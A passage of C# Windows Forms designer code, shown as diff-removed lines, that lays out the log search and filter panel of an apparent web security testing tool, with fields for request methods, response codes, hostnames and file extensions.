this.SearchBtn.Name = "SearchBtn"; - this.SearchBtn.Size = new System.Drawing.Size(118, 23); - this.SearchBtn.TabIndex = 9; - this.SearchBtn.Text = "Search with this Filter"; - this.SearchBtn.UseVisualStyleBackColor = true; - this.SearchBtn.Click += new System.EventHandler(this.SearchBtn_Click); - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(6, 7); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(71, 13); - this.label3.TabIndex = 1; - this.label3.Text = "Search Type:"; - // - // SearchTypeNewRB - // - this.SearchTypeNewRB.AutoSize = true; - this.SearchTypeNewRB.Checked = true; - this.SearchTypeNewRB.Location = new System.Drawing.Point(83, 5); - this.SearchTypeNewRB.Name = "SearchTypeNewRB"; - this.SearchTypeNewRB.Size = new System.Drawing.Size(212, 17); - this.SearchTypeNewRB.TabIndex = 3; - this.SearchTypeNewRB.TabStop = true; - this.SearchTypeNewRB.Text = "New Search (searches entire database)"; - this.SearchTypeNewRB.UseVisualStyleBackColor = true; - this.SearchTypeNewRB.CheckedChanged += new System.EventHandler(this.SearchTypeNewRB_CheckedChanged); - // - // SearchTypeChainedRB - // - this.SearchTypeChainedRB.AutoSize = true; - this.SearchTypeChainedRB.Location = new System.Drawing.Point(305, 5); - this.SearchTypeChainedRB.Name = "SearchTypeChainedRB"; - this.SearchTypeChainedRB.Size = new System.Drawing.Size(364, 17); - this.SearchTypeChainedRB.TabIndex = 8; - this.SearchTypeChainedRB.Text = "Chained Search (searches only within the results of the previous search)"; - this.SearchTypeChainedRB.UseVisualStyleBackColor = true; - this.SearchTypeChainedRB.CheckedChanged += new System.EventHandler(this.SearchTypeChainedRB_CheckedChanged); - // - // LogSourceAndIdsPanel - // - this.LogSourceAndIdsPanel.Controls.Add(this.LogIdsRangeBelowTB); - this.LogSourceAndIdsPanel.Controls.Add(this.SelectLogSourceCombo); - this.LogSourceAndIdsPanel.Controls.Add(this.label1); - this.LogSourceAndIdsPanel.Controls.Add(this.label2); - this.LogSourceAndIdsPanel.Controls.Add(this.LogIdsRangeAnyRB); - this.LogSourceAndIdsPanel.Controls.Add(this.LogIdsRangeAboveCB); - this.LogSourceAndIdsPanel.Controls.Add(this.LogIdsRangeBelowCB); - this.LogSourceAndIdsPanel.Controls.Add(this.LogIdsRangeCustomRB); - this.LogSourceAndIdsPanel.Controls.Add(this.LogIdsRangeAboveTB); - this.LogSourceAndIdsPanel.Location = new System.Drawing.Point(14, 186); - this.LogSourceAndIdsPanel.Name = "LogSourceAndIdsPanel"; - this.LogSourceAndIdsPanel.Size = new System.Drawing.Size(852, 27); - this.LogSourceAndIdsPanel.TabIndex = 17; - // - // LogIdsRangeBelowTB - // - this.LogIdsRangeBelowTB.Enabled = false; - this.LogIdsRangeBelowTB.Location = new System.Drawing.Point(746, 3); - this.LogIdsRangeBelowTB.Name = "LogIdsRangeBelowTB"; - this.LogIdsRangeBelowTB.Size = new System.Drawing.Size(90, 20); - this.LogIdsRangeBelowTB.TabIndex = 7; - this.LogIdsRangeBelowTB.Text = "200"; - this.LogIdsRangeBelowTB.TextChanged += new System.EventHandler(this.LogIdsRangeBelowTB_TextChanged); - // - // SelectLogSourceCombo - // - this.SelectLogSourceCombo.FormattingEnabled = true; - this.SelectLogSourceCombo.Location = new System.Drawing.Point(100, 3); - this.SelectLogSourceCombo.Name = "SelectLogSourceCombo"; - this.SelectLogSourceCombo.Size = new System.Drawing.Size(176, 21); - this.SelectLogSourceCombo.TabIndex = 0; - this.SelectLogSourceCombo.SelectedIndexChanged += new System.EventHandler(this.SelectLogSourceCombo_SelectedIndexChanged); - this.SelectLogSourceCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.SelectLogSourceCombo_KeyPress); - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(6, 7); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(88, 13); - this.label1.TabIndex = 1; - this.label1.Text = "Select Log Type:"; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(302, 7); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(47, 13); - this.label2.TabIndex = 2; - this.label2.Text = "Log IDs:"; - // - // LogIdsRangeAnyRB - // - this.LogIdsRangeAnyRB.AutoSize = true; - this.LogIdsRangeAnyRB.Checked = true; - this.LogIdsRangeAnyRB.Location = new System.Drawing.Point(355, 5); - this.LogIdsRangeAnyRB.Name = "LogIdsRangeAnyRB"; - this.LogIdsRangeAnyRB.Size = new System.Drawing.Size(43, 17); - this.LogIdsRangeAnyRB.TabIndex = 3; - this.LogIdsRangeAnyRB.TabStop = true; - this.LogIdsRangeAnyRB.Text = "Any"; - this.LogIdsRangeAnyRB.UseVisualStyleBackColor = true; - this.LogIdsRangeAnyRB.CheckedChanged += new System.EventHandler(this.LogIdsRangeAnyRB_CheckedChanged); - // - // LogIdsRangeAboveCB - // - this.LogIdsRangeAboveCB.AutoSize = true; - this.LogIdsRangeAboveCB.Enabled = false; - this.LogIdsRangeAboveCB.Location = new System.Drawing.Point(503, 5); - this.LogIdsRangeAboveCB.Name = "LogIdsRangeAboveCB"; - this.LogIdsRangeAboveCB.Size = new System.Drawing.Size(57, 17); - this.LogIdsRangeAboveCB.TabIndex = 9; - this.LogIdsRangeAboveCB.Text = "Above"; - this.LogIdsRangeAboveCB.UseVisualStyleBackColor = true; - this.LogIdsRangeAboveCB.CheckedChanged += new System.EventHandler(this.LogIdsRangeAboveCB_CheckedChanged); - // - // LogIdsRangeBelowCB - // - this.LogIdsRangeBelowCB.AutoSize = true; - this.LogIdsRangeBelowCB.Enabled = false; - this.LogIdsRangeBelowCB.Location = new System.Drawing.Point(685, 5); - this.LogIdsRangeBelowCB.Name = "LogIdsRangeBelowCB"; - this.LogIdsRangeBelowCB.Size = new System.Drawing.Size(55, 17); - this.LogIdsRangeBelowCB.TabIndex = 10; - this.LogIdsRangeBelowCB.Text = "Below"; - this.LogIdsRangeBelowCB.UseVisualStyleBackColor = true; - this.LogIdsRangeBelowCB.CheckedChanged += new System.EventHandler(this.LogIdsRangeBelowCB_CheckedChanged); - // - // LogIdsRangeCustomRB - // - this.LogIdsRangeCustomRB.AutoSize = true; - this.LogIdsRangeCustomRB.Location = new System.Drawing.Point(404, 5); - this.LogIdsRangeCustomRB.Name = "LogIdsRangeCustomRB"; - this.LogIdsRangeCustomRB.Size = new System.Drawing.Size(93, 17); - this.LogIdsRangeCustomRB.TabIndex = 8; - this.LogIdsRangeCustomRB.Text = "Only in range -"; - this.LogIdsRangeCustomRB.UseVisualStyleBackColor = true; - this.LogIdsRangeCustomRB.CheckedChanged += new System.EventHandler(this.LogIdsRangeCustomRB_CheckedChanged); - // - // LogIdsRangeAboveTB - // - this.LogIdsRangeAboveTB.Enabled = false; - this.LogIdsRangeAboveTB.Location = new System.Drawing.Point(566, 3); - this.LogIdsRangeAboveTB.Name = "LogIdsRangeAboveTB"; - this.LogIdsRangeAboveTB.Size = new System.Drawing.Size(90, 20); - this.LogIdsRangeAboveTB.TabIndex = 5; - this.LogIdsRangeAboveTB.Text = "100"; - this.LogIdsRangeAboveTB.TextChanged += new System.EventHandler(this.LogIdsRangeAboveTB_TextChanged); - // - // panel4 - // - this.panel4.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.panel4.BackColor = System.Drawing.Color.White; - this.panel4.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.panel4.Controls.Add(this.MatchFileExtensionsMinusRB); - this.panel4.Controls.Add(this.MatchFileExtensionsPlusRB); - this.panel4.Controls.Add(this.MatchFileExtensionsTB); - this.panel4.Controls.Add(this.MatchFileExtensionsCB); - this.panel4.Location = new System.Drawing.Point(14, 408); - this.panel4.Name = "panel4"; - this.panel4.Size = new System.Drawing.Size(852, 27); - this.panel4.TabIndex = 16; - // - // MatchFileExtensionsMinusRB - // - this.MatchFileExtensionsMinusRB.AutoSize = true; - this.MatchFileExtensionsMinusRB.Checked = true; - this.MatchFileExtensionsMinusRB.Enabled = false; - this.MatchFileExtensionsMinusRB.Location = new System.Drawing.Point(287, 5); - this.MatchFileExtensionsMinusRB.Name = "MatchFileExtensionsMinusRB"; - this.MatchFileExtensionsMinusRB.Size = new System.Drawing.Size(28, 17); - this.MatchFileExtensionsMinusRB.TabIndex = 15; - this.MatchFileExtensionsMinusRB.TabStop = true; - this.MatchFileExtensionsMinusRB.Text = "-"; - this.MatchFileExtensionsMinusRB.UseVisualStyleBackColor = true; - this.MatchFileExtensionsMinusRB.CheckedChanged += new System.EventHandler(this.MatchFileExtensionsMinusRB_CheckedChanged); - // - // MatchFileExtensionsPlusRB - // - this.MatchFileExtensionsPlusRB.AutoSize = true; - this.MatchFileExtensionsPlusRB.Enabled = false; - this.MatchFileExtensionsPlusRB.Location = new System.Drawing.Point(250, 5); - this.MatchFileExtensionsPlusRB.Name = "MatchFileExtensionsPlusRB"; - this.MatchFileExtensionsPlusRB.Size = new System.Drawing.Size(31, 17); - this.MatchFileExtensionsPlusRB.TabIndex = 14; - this.MatchFileExtensionsPlusRB.Text = "+"; - this.MatchFileExtensionsPlusRB.UseVisualStyleBackColor = true; - this.MatchFileExtensionsPlusRB.CheckedChanged += new System.EventHandler(this.MatchFileExtensionsPlusRB_CheckedChanged); - // - // MatchFileExtensionsTB - // - this.MatchFileExtensionsTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.MatchFileExtensionsTB.Enabled = false; - this.MatchFileExtensionsTB.Location = new System.Drawing.Point(319, 3); - this.MatchFileExtensionsTB.Name = "MatchFileExtensionsTB"; - this.MatchFileExtensionsTB.Size = new System.Drawing.Size(528, 20); - this.MatchFileExtensionsTB.TabIndex = 11; - this.MatchFileExtensionsTB.Text = "jpg, jpeg, png, gif, ico, pdf, doc, docx, ppt, pptx, xls, xlsx, zip, tar, 7z, exe" + - ", swf, jar, css, js, html"; - this.MatchFileExtensionsTB.TextChanged += new System.EventHandler(this.MatchFileExtensionsTB_TextChanged); - // - // MatchFileExtensionsCB - // - this.MatchFileExtensionsCB.AutoSize = true; - this.MatchFileExtensionsCB.Location = new System.Drawing.Point(8, 6); - this.MatchFileExtensionsCB.Name = "MatchFileExtensionsCB"; - this.MatchFileExtensionsCB.Size = new System.Drawing.Size(207, 17); - this.MatchFileExtensionsCB.TabIndex = 12; - this.MatchFileExtensionsCB.Text = "Except these Request File Extensions:"; - this.MatchFileExtensionsCB.UseVisualStyleBackColor = true; - this.MatchFileExtensionsCB.CheckedChanged += new System.EventHandler(this.MatchFileExtensionsCB_CheckedChanged); - // - // panel3 - // - this.panel3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.panel3.BackColor = System.Drawing.Color.White; - this.panel3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.panel3.Controls.Add(this.MatchHostNamesMinusRB); - this.panel3.Controls.Add(this.MatchHostNamesPlusRB); - this.panel3.Controls.Add(this.MatchHostNamesTB); - this.panel3.Controls.Add(this.MatchHostNamesCB); - this.panel3.Location = new System.Drawing.Point(14, 375); - this.panel3.Name = "panel3"; - this.panel3.Size = new System.Drawing.Size(852, 27); - this.panel3.TabIndex = 15; - // - // MatchHostNamesMinusRB - // - this.MatchHostNamesMinusRB.AutoSize = true; - this.MatchHostNamesMinusRB.Checked = true; - this.MatchHostNamesMinusRB.Enabled = false; - this.MatchHostNamesMinusRB.Location = new System.Drawing.Point(231, 5); - this.MatchHostNamesMinusRB.Name = "MatchHostNamesMinusRB"; - this.MatchHostNamesMinusRB.Size = new System.Drawing.Size(28, 17); - this.MatchHostNamesMinusRB.TabIndex = 15; - this.MatchHostNamesMinusRB.TabStop = true; - this.MatchHostNamesMinusRB.Text = "-"; - this.MatchHostNamesMinusRB.UseVisualStyleBackColor = true; - this.MatchHostNamesMinusRB.CheckedChanged += new System.EventHandler(this.MatchHostNamesMinusRB_CheckedChanged); - // - // MatchHostNamesPlusRB - // - this.MatchHostNamesPlusRB.AutoSize = true; - this.MatchHostNamesPlusRB.Enabled = false; - this.MatchHostNamesPlusRB.Location = new System.Drawing.Point(194, 5); - this.MatchHostNamesPlusRB.Name = "MatchHostNamesPlusRB"; - this.MatchHostNamesPlusRB.Size = new System.Drawing.Size(31, 17); - this.MatchHostNamesPlusRB.TabIndex = 14; - this.MatchHostNamesPlusRB.Text = "+"; - this.MatchHostNamesPlusRB.UseVisualStyleBackColor = true; - this.MatchHostNamesPlusRB.CheckedChanged += new System.EventHandler(this.MatchHostNamesPlusRB_CheckedChanged); - // - // MatchHostNamesTB - // - this.MatchHostNamesTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.MatchHostNamesTB.Enabled = false; - this.MatchHostNamesTB.Location = new System.Drawing.Point(265, 3); - this.MatchHostNamesTB.Name = "MatchHostNamesTB"; - this.MatchHostNamesTB.Size = new System.Drawing.Size(582, 20); - this.MatchHostNamesTB.TabIndex = 11; - this.MatchHostNamesTB.Text = "www.google.com, www.facebook.com, www.twitter.com"; - this.MatchHostNamesTB.TextChanged += new System.EventHandler(this.MatchHostNamesTB_TextChanged); - // - // MatchHostNamesCB - // - this.MatchHostNamesCB.AutoSize = true; - this.MatchHostNamesCB.Location = new System.Drawing.Point(8, 6); - this.MatchHostNamesCB.Name = "MatchHostNamesCB"; - this.MatchHostNamesCB.Size = new System.Drawing.Size(147, 17); - this.MatchHostNamesCB.TabIndex = 12; - this.MatchHostNamesCB.Text = "Except these Hostnames:"; - this.MatchHostNamesCB.UseVisualStyleBackColor = true; - this.MatchHostNamesCB.CheckedChanged += new System.EventHandler(this.MatchHostNamesCB_CheckedChanged); - // - // panel2 - // - this.panel2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.panel2.BackColor = System.Drawing.Color.White; - this.panel2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.panel2.Controls.Add(this.MatchResponseCodesMinusRB); - this.panel2.Controls.Add(this.MatchResponseCodesPlusRB); - this.panel2.Controls.Add(this.MatchResponseCodesTB); - this.panel2.Controls.Add(this.MatchResponseCodesCB); - this.panel2.Location = new System.Drawing.Point(14, 341); - this.panel2.Name = "panel2"; - this.panel2.Size = new System.Drawing.Size(852, 27); - this.panel2.TabIndex = 14; - // - // MatchResponseCodesMinusRB - // - this.MatchResponseCodesMinusRB.AutoSize = true; - this.MatchResponseCodesMinusRB.Enabled = false; - this.MatchResponseCodesMinusRB.Location = new System.Drawing.Point(231, 5); - this.MatchResponseCodesMinusRB.Name = "MatchResponseCodesMinusRB"; - this.MatchResponseCodesMinusRB.Size = new System.Drawing.Size(28, 17); - this.MatchResponseCodesMinusRB.TabIndex = 15; - this.MatchResponseCodesMinusRB.Text = "-"; - this.MatchResponseCodesMinusRB.UseVisualStyleBackColor = true; - this.MatchResponseCodesMinusRB.CheckedChanged += new System.EventHandler(this.MatchResponseCodesMinusRB_CheckedChanged); - // - // MatchResponseCodesPlusRB - // - this.MatchResponseCodesPlusRB.AutoSize = true; - this.MatchResponseCodesPlusRB.Checked = true; - this.MatchResponseCodesPlusRB.Enabled = false; - this.MatchResponseCodesPlusRB.Location = new System.Drawing.Point(194, 5); - this.MatchResponseCodesPlusRB.Name = "MatchResponseCodesPlusRB"; - this.MatchResponseCodesPlusRB.Size = new System.Drawing.Size(31, 17); - this.MatchResponseCodesPlusRB.TabIndex = 14; - this.MatchResponseCodesPlusRB.TabStop = true; - this.MatchResponseCodesPlusRB.Text = "+"; - this.MatchResponseCodesPlusRB.UseVisualStyleBackColor = true; - this.MatchResponseCodesPlusRB.CheckedChanged += new System.EventHandler(this.MatchResponseCodesPlusRB_CheckedChanged); - // - // MatchResponseCodesTB - // - this.MatchResponseCodesTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.MatchResponseCodesTB.Enabled = false; - this.MatchResponseCodesTB.Location = new System.Drawing.Point(265, 3); - this.MatchResponseCodesTB.Name = "MatchResponseCodesTB"; - this.MatchResponseCodesTB.Size = new System.Drawing.Size(582, 20); - this.MatchResponseCodesTB.TabIndex = 11; - this.MatchResponseCodesTB.Text = "200, 301, 302"; - this.MatchResponseCodesTB.TextChanged += new System.EventHandler(this.MatchResponseCodesTB_TextChanged); - // - // MatchResponseCodesCB - // - this.MatchResponseCodesCB.AutoSize = true; - this.MatchResponseCodesCB.Location = new System.Drawing.Point(8, 6); - this.MatchResponseCodesCB.Name = "MatchResponseCodesCB"; - this.MatchResponseCodesCB.Size = new System.Drawing.Size(163, 17); - this.MatchResponseCodesCB.TabIndex = 12; - this.MatchResponseCodesCB.Text = "Only these Response Codes:"; - this.MatchResponseCodesCB.UseVisualStyleBackColor = true; - this.MatchResponseCodesCB.CheckedChanged += new System.EventHandler(this.MatchResponseCodesCB_CheckedChanged); - // - // panel1 - // - this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.panel1.BackColor = System.Drawing.Color.White; - this.panel1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.panel1.Controls.Add(this.MatchRequestMethodsMinusRB); - this.panel1.Controls.Add(this.MatchRequestMethodsPlusRB); - this.panel1.Controls.Add(this.MatchRequestMethodsTB); - this.panel1.Controls.Add(this.MatchRequestMethodsCB); - this.panel1.Location = new System.Drawing.Point(14, 308); - this.panel1.Name = "panel1"; - this.panel1.Size = new System.Drawing.Size(852, 27); - this.panel1.TabIndex = 13; - // - // MatchRequestMethodsMinusRB - // - this.MatchRequestMethodsMinusRB.AutoSize = true; - this.MatchRequestMethodsMinusRB.Enabled = false; - this.MatchRequestMethodsMinusRB.Location = new System.Drawing.Point(231, 5); - this.MatchRequestMethodsMinusRB.Name = "MatchRequestMethodsMinusRB"; - this.MatchRequestMethodsMinusRB.Size = new System.Drawing.Size(28, 17); - this.MatchRequestMethodsMinusRB.TabIndex = 15; - this.MatchRequestMethodsMinusRB.Text = "-"; - this.MatchRequestMethodsMinusRB.UseVisualStyleBackColor = true; - this.MatchRequestMethodsMinusRB.CheckedChanged += new System.EventHandler(this.MatchRequestMethodsMinusRB_CheckedChanged); - // - // MatchRequestMethodsPlusRB - // - this.MatchRequestMethodsPlusRB.AutoSize = true; - this.MatchRequestMethodsPlusRB.Checked = true; - this.MatchRequestMethodsPlusRB.Enabled = false; - this.MatchRequestMethodsPlusRB.Location = new System.Drawing.Point(194, 5); - this.MatchRequestMethodsPlusRB.Name = "MatchRequestMethodsPlusRB"; - this.MatchRequestMethodsPlusRB.Size = new System.Drawing.Size(31, 17); - this.MatchRequestMethodsPlusRB.TabIndex = 14; - this.MatchRequestMethodsPlusRB.TabStop = true; - this.MatchRequestMethodsPlusRB.Text = "+"; - this.MatchRequestMethodsPlusRB.UseVisualStyleBackColor = true; - this.MatchRequestMethodsPlusRB.CheckedChanged += new System.EventHandler(this.MatchRequestMethodsPlusRB_CheckedChanged); - // - // MatchRequestMethodsTB - // - this.MatchRequestMethodsTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.MatchRequestMethodsTB.Enabled = false; - this.MatchRequestMethodsTB.Location = new System.Drawing.Point(265, 3); - this.MatchRequestMethodsTB.Name = "MatchRequestMethodsTB"; - this.MatchRequestMethodsTB.Size = new System.Drawing.Size(582, 20); - this.MatchRequestMethodsTB.TabIndex = 11; - this.MatchRequestMethodsTB.Text = "GET, POST"; - this.MatchRequestMethodsTB.TextChanged += new System.EventHandler(this.MatchRequestMethodsTB_TextChanged); - // - // MatchRequestMethodsCB - // - this.MatchRequestMethodsCB.AutoSize = true; - this.MatchRequestMethodsCB.Location = new System.Drawing.Point(8, 6); - this.MatchRequestMethodsCB.Name = "MatchRequestMethodsCB"; - this.MatchRequestMethodsCB.Size = new System.Drawing.Size(166, 17); - this.MatchRequestMethodsCB.TabIndex = 12; - this.MatchRequestMethodsCB.Text = "Only these Request Methods:"; - this.MatchRequestMethodsCB.UseVisualStyleBackColor = true; - this.MatchRequestMethodsCB.CheckedChanged += new System.EventHandler(this.MatchRequestMethodsCB_CheckedChanged); - // - // BaseSplit - // - this.BaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseSplit.Location = new System.Drawing.Point(0, 0); - this.BaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.BaseSplit.Name = "BaseSplit"; - this.BaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // BaseSplit.Panel1 - // - this.BaseSplit.Panel1.Controls.Add(this.label6); - this.BaseSplit.Panel1.Controls.Add(this.DoDiffBtn); - this.BaseSplit.Panel1.Controls.Add(this.SearchResultsCountLbl); - this.BaseSplit.Panel1.Controls.Add(this.SearchProgressBar); - this.BaseSplit.Panel1.Controls.Add(this.LogGrid); - this.BaseSplit.Panel1.Controls.Add(this.StartScanBtn); - this.BaseSplit.Panel1.Controls.Add(this.StartTestBtn); - this.BaseSplit.Panel1.Controls.Add(this.SelectAllCB); - this.BaseSplit.Panel1.Controls.Add(this.RunModulesBtn); - // - // BaseSplit.Panel2 - // - this.BaseSplit.Panel2.Controls.Add(this.LoadLogProgressBar); - this.BaseSplit.Panel2.Controls.Add(this.LogDisplayTabs); - this.BaseSplit.Size = new System.Drawing.Size(876, 536); - this.BaseSplit.SplitterDistance = 315; - this.BaseSplit.SplitterWidth = 2; - this.BaseSplit.TabIndex = 10; - // - // DoDiffBtn - // - this.DoDiffBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.DoDiffBtn.Enabled = false; - this.DoDiffBtn.Location = new System.Drawing.Point(408, 20); - this.DoDiffBtn.Name = "DoDiffBtn"; - this.DoDiffBtn.Size = new System.Drawing.Size(97, 40); - this.DoDiffBtn.TabIndex = 39; - this.DoDiffBtn.Text = "Diff Selected Sessions"; - this.DoDiffBtn.UseVisualStyleBackColor = true; - this.DoDiffBtn.Click += new System.EventHandler(this.DoDiffBtn_Click); - // - // SearchResultsCountLbl - // - this.SearchResultsCountLbl.AutoSize = true; - this.SearchResultsCountLbl.Location = new System.Drawing.Point(8, 10); - this.SearchResultsCountLbl.Name = "SearchResultsCountLbl"; - this.SearchResultsCountLbl.Size = new System.Drawing.Size(122, 13); - this.SearchResultsCountLbl.TabIndex = 35; - this.SearchResultsCountLbl.Text = "Search Results Count: 0"; - // - // SearchProgressBar - // - this.SearchProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.SearchProgressBar.Location = new System.Drawing.Point(189, 8); - this.SearchProgressBar.MarqueeAnimationSpeed = 10; - this.SearchProgressBar.Name = "SearchProgressBar"; - this.SearchProgressBar.Size = new System.Drawing.Size(174, 20); - this.SearchProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.SearchProgressBar.TabIndex = 34; - this.SearchProgressBar.Visible = false; - // - // LoadLogProgressBar - // - this.LoadLogProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.LoadLogProgressBar.Location = new System.Drawing.Point(303, 45); - this.LoadLogProgressBar.MarqueeAnimationSpeed = 10; - this.LoadLogProgressBar.Name = "LoadLogProgressBar"; - this.LoadLogProgressBar.Size = new System.Drawing.Size(228, 23); - this.LoadLogProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.LoadLogProgressBar.TabIndex = 33; - this.LoadLogProgressBar.Visible = false; - // - // LogDisplayTabs - // - this.LogDisplayTabs.Controls.Add(this.tabPage12); - this.LogDisplayTabs.Controls.Add(this.tabPage29); - this.LogDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.LogDisplayTabs.Location = new System.Drawing.Point(0, 0); - this.LogDisplayTabs.Margin = new System.Windows.Forms.Padding(0); - this.LogDisplayTabs.Name = "LogDisplayTabs"; - this.LogDisplayTabs.Padding = new System.Drawing.Point(0, 0); - this.LogDisplayTabs.SelectedIndex = 0; - this.LogDisplayTabs.Size = new System.Drawing.Size(876, 219); - this.LogDisplayTabs.TabIndex = 4; - // - // tabPage12 - // - this.tabPage12.Controls.Add(this.RequestView); - this.tabPage12.Location = new System.Drawing.Point(4, 22); - this.tabPage12.Margin = new System.Windows.Forms.Padding(0); - this.tabPage12.Name = "tabPage12"; - this.tabPage12.Size = new System.Drawing.Size(868, 193); - this.tabPage12.TabIndex = 0; - this.tabPage12.Text = " Request "; - this.tabPage12.UseVisualStyleBackColor = true; - // - // RequestView - // - this.RequestView.BackColor = System.Drawing.Color.White; - this.RequestView.Dock = System.Windows.Forms.DockStyle.Fill; - this.RequestView.Location = new System.Drawing.Point(0, 0); - this.RequestView.Margin = new System.Windows.Forms.Padding(0); - this.RequestView.Name = "RequestView"; - this.RequestView.ReadOnly = true; - this.RequestView.Size = new System.Drawing.Size(868, 193); - this.RequestView.TabIndex = 0; - // - // tabPage29 - // - this.tabPage29.Controls.Add(this.ResponseView); - this.tabPage29.Location = new System.Drawing.Point(4, 22); - this.tabPage29.Margin = new System.Windows.Forms.Padding(0); - this.tabPage29.Name = "tabPage29"; - this.tabPage29.Size = new System.Drawing.Size(868, 193); - this.tabPage29.TabIndex = 1; - this.tabPage29.Text = " Response "; - this.tabPage29.UseVisualStyleBackColor = true; - // - // ResponseView - // - this.ResponseView.BackColor = System.Drawing.Color.White; - this.ResponseView.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResponseView.IncludeReflectionTab = true; - this.ResponseView.Location = new System.Drawing.Point(0, 0); - this.ResponseView.Margin = new System.Windows.Forms.Padding(0); - this.ResponseView.Name = "ResponseView"; - this.ResponseView.ReadOnly = true; - this.ResponseView.Size = new System.Drawing.Size(868, 193); - this.ResponseView.TabIndex = 0; - // - // BaseTabs - // - this.BaseTabs.Controls.Add(this.SearchFilterTab); - this.BaseTabs.Controls.Add(this.SearchResultsTab); - this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseTabs.Location = new System.Drawing.Point(0, 0); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(884, 562); - this.BaseTabs.TabIndex = 10; - // - // SearchFilterTab - // - this.SearchFilterTab.Controls.Add(this.SearchFilterPanel); - this.SearchFilterTab.Location = new System.Drawing.Point(4, 22); - this.SearchFilterTab.Margin = new System.Windows.Forms.Padding(0); - this.SearchFilterTab.Name = "SearchFilterTab"; - this.SearchFilterTab.Size = new System.Drawing.Size(876, 536); - this.SearchFilterTab.TabIndex = 0; - this.SearchFilterTab.Text = " Create Filter to Search Logs "; - this.SearchFilterTab.UseVisualStyleBackColor = true; - // - // SearchFilterPanel - // - this.SearchFilterPanel.BackColor = System.Drawing.Color.White; - this.SearchFilterPanel.Controls.Add(this.textBox2); - this.SearchFilterPanel.Controls.Add(this.Step0StatusTB); - this.SearchFilterPanel.Controls.Add(this.panel6); - this.SearchFilterPanel.Controls.Add(this.panel4); - this.SearchFilterPanel.Controls.Add(this.LogSourceAndIdsPanel); - this.SearchFilterPanel.Controls.Add(this.panel8); - this.SearchFilterPanel.Controls.Add(this.panel1); - this.SearchFilterPanel.Controls.Add(this.panel3); - this.SearchFilterPanel.Controls.Add(this.panel7); - this.SearchFilterPanel.Controls.Add(this.panel2); - this.SearchFilterPanel.Dock = System.Windows.Forms.DockStyle.Fill; - this.SearchFilterPanel.Location = new System.Drawing.Point(0, 0); - this.SearchFilterPanel.Name = "SearchFilterPanel"; - this.SearchFilterPanel.Size = new System.Drawing.Size(876, 536); - this.SearchFilterPanel.TabIndex = 21; - // - // textBox2 - // - this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox2.BackColor = System.Drawing.Color.White; - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Location = new System.Drawing.Point(14, 9); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.ReadOnly = true; - this.textBox2.Size = new System.Drawing.Size(852, 85); - this.textBox2.TabIndex = 153; - this.textBox2.TabStop = false; - this.textBox2.Text = resources.GetString("textBox2.Text"); - // - // Step0StatusTB - // - this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | 